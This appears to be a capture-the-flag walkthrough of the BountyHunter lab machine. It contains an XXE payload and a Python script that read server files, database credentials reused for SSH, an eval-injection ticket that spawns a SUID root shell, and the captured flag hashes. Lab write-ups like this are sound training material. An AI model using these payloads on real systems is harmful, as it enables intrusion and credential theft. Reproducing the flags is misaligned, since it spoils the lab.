BountyHunter
Recon
HTTP (80)
Only link going to other page is /portal.php

Looks like it's in development and /log_submit.php
is available only.

The pseudo report is sent as Base64 blob which decodes to XML

We could test for XXE vulnerability.
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE x [<!ENTITY y SYSTEM "/etc/passwd"> ]>
<bugreport>
<title>&y;</title>
<cwe>69</cwe>
<cvss>9.9</cvss>
<reward>1000</reward>
</bugreport>
Recipe: To Base64 (Standard) -> URL Encode (All)

from requests import Session
from base64 import b64decode, b64encode
from bs4 import BeautifulSoup as BS
import readline
URL = 'http://10.129.122.193/tracker_diRbPr00f314.php'
PAYLOAD = '''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE x [<!ENTITY y SYSTEM "php://filter/convert.base64-encode/resource=LFI"> ]>
<bugreport>
<title>&y;</title>
<cwe>69</cwe>
<cvss>9.9</cvss>
<reward>1000</reward>
</bugreport>
'''.strip()
def get_payload(file):
return b64encode(PAYLOAD.replace('LFI', file).encode()).decode()
with Session() as session:
# session.proxies = {'http': 'http://127.0.0.1:8080'}
with open('./t.log', 'a') as f:
while True:
resp = session.post(URL, data={'data': get_payload(input('Filename: '))})
output = BS(resp.text, 'html.parser').find_all('td')[1].text
try:
output = b64decode(output).decode()
except:
output = "Failed"
output = output + '- ' * 16
print(output)
print(output, file=f, flush=True)
Filename: /var/www/html/index.php
...
<li class="nav-item mx-0 mx-lg-1"><a class="nav-link py-3 px-0 px-lg-3 rounded js-scroll-trigger" href="portal.php">Portal</a></li>
<!-- To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.-->
...
Filename: /var/www/html/portal.php
Filename: /var/www/html/log_submit.php
Filename: /var/www/html/tracker_diRbPr00f314.php
...
We are able to read php file, but there's no mention of configuration or database.
Filename: /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
└─$ feroxbuster -u 'http://10.129.122.193' -w /usr/share/seclists/Discovery/Web-Content/common.txt -n -x php
200 GET 69l 210w 2424c http://10.129.122.193/js/scripts.js
200 GET 195l 683w 66699c http://10.129.122.193/assets/img/portfolio/cabin.png
200 GET 122l 415w 30702c http://10.129.122.193/assets/img/portfolio/cake.png
200 GET 150l 506w 43607c http://10.129.122.193/assets/img/portfolio/submarine.png
200 GET 7l 1031w 84152c http://10.129.122.193/resources/bootstrap.bundle.min.js
200 GET 80l 248w 3228c http://10.129.122.193/resources/monsterat.css
200 GET 5l 15w 125c http://10.129.122.193/portal.php
200 GET 64l 232w 2682c http://10.129.122.193/resources/lato.css
200 GET 1l 44w 2532c http://10.129.122.193/resources/jquery.easing.min.js
200 GET 248l 761w 12807c http://10.129.122.193/assets/img/avataaars.svg
200 GET 178l 601w 46744c http://10.129.122.193/assets/img/portfolio/game.png
200 GET 8l 29w 28898c http://10.129.122.193/assets/img/favicon.ico
200 GET 139l 444w 35267c http://10.129.122.193/assets/img/portfolio/safe.png
200 GET 151l 616w 50204c http://10.129.122.193/assets/img/portfolio/circus.png
200 GET 2l 1297w 89476c http://10.129.122.193/resources/jquery.min.js
200 GET 10240l 19373w 187375c http://10.129.122.193/css/styles.css
301 GET 9l 28w 317c http://10.129.122.193/assets => http://10.129.122.193/assets/
200 GET 5l 108280w 1194961c http://10.129.122.193/resources/all.js
200 GET 388l 1470w 25169c http://10.129.122.193/
301 GET 9l 28w 314c http://10.129.122.193/css => http://10.129.122.193/css/
200 GET 0l 0w 0c http://10.129.122.193/db.php
200 GET 388l 1470w 25169c http://10.129.122.193/index.php
301 GET 9l 28w 313c http://10.129.122.193/js => http://10.129.122.193/js/
200 GET 20l 63w 617c http://10.129.122.193/log_submit.php
301 GET 9l 28w 320c http://10.129.122.193/resources => http://10.129.122.193/resources/
Filename: /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
SSH (22)
Creds:
development:m19RoAU0hP41A1sTsq6K
└─$ ssh development@10.129.122.193
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
User.txt
development@bountyhunter:~$ cat user.txt
f3e1eedad7b538cb864cdb7b9be6386e
Privilege Escalation
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
eval
is a dangerous function in Python, to get there we need a ticket which will have correct format.
validationNumber = eval(x.replace("**", ""))
https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
development@bountyhunter:~$ nano /tmp/letmein.md
development@bountyhunter:~$ cat /tmp/letmein.md
# Skytrain Inc Ticket
## Ticket to Wonderland
__Ticket Code:__
**4 + __import__('os').system('install -m4777 /bin/bash /tmp/rootbash')**
development@bountyhunter:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)
Root.txt
rootbash-5.0# cat /root/root.txt
1771ebb5ece8512526e48802454ae003
Last updated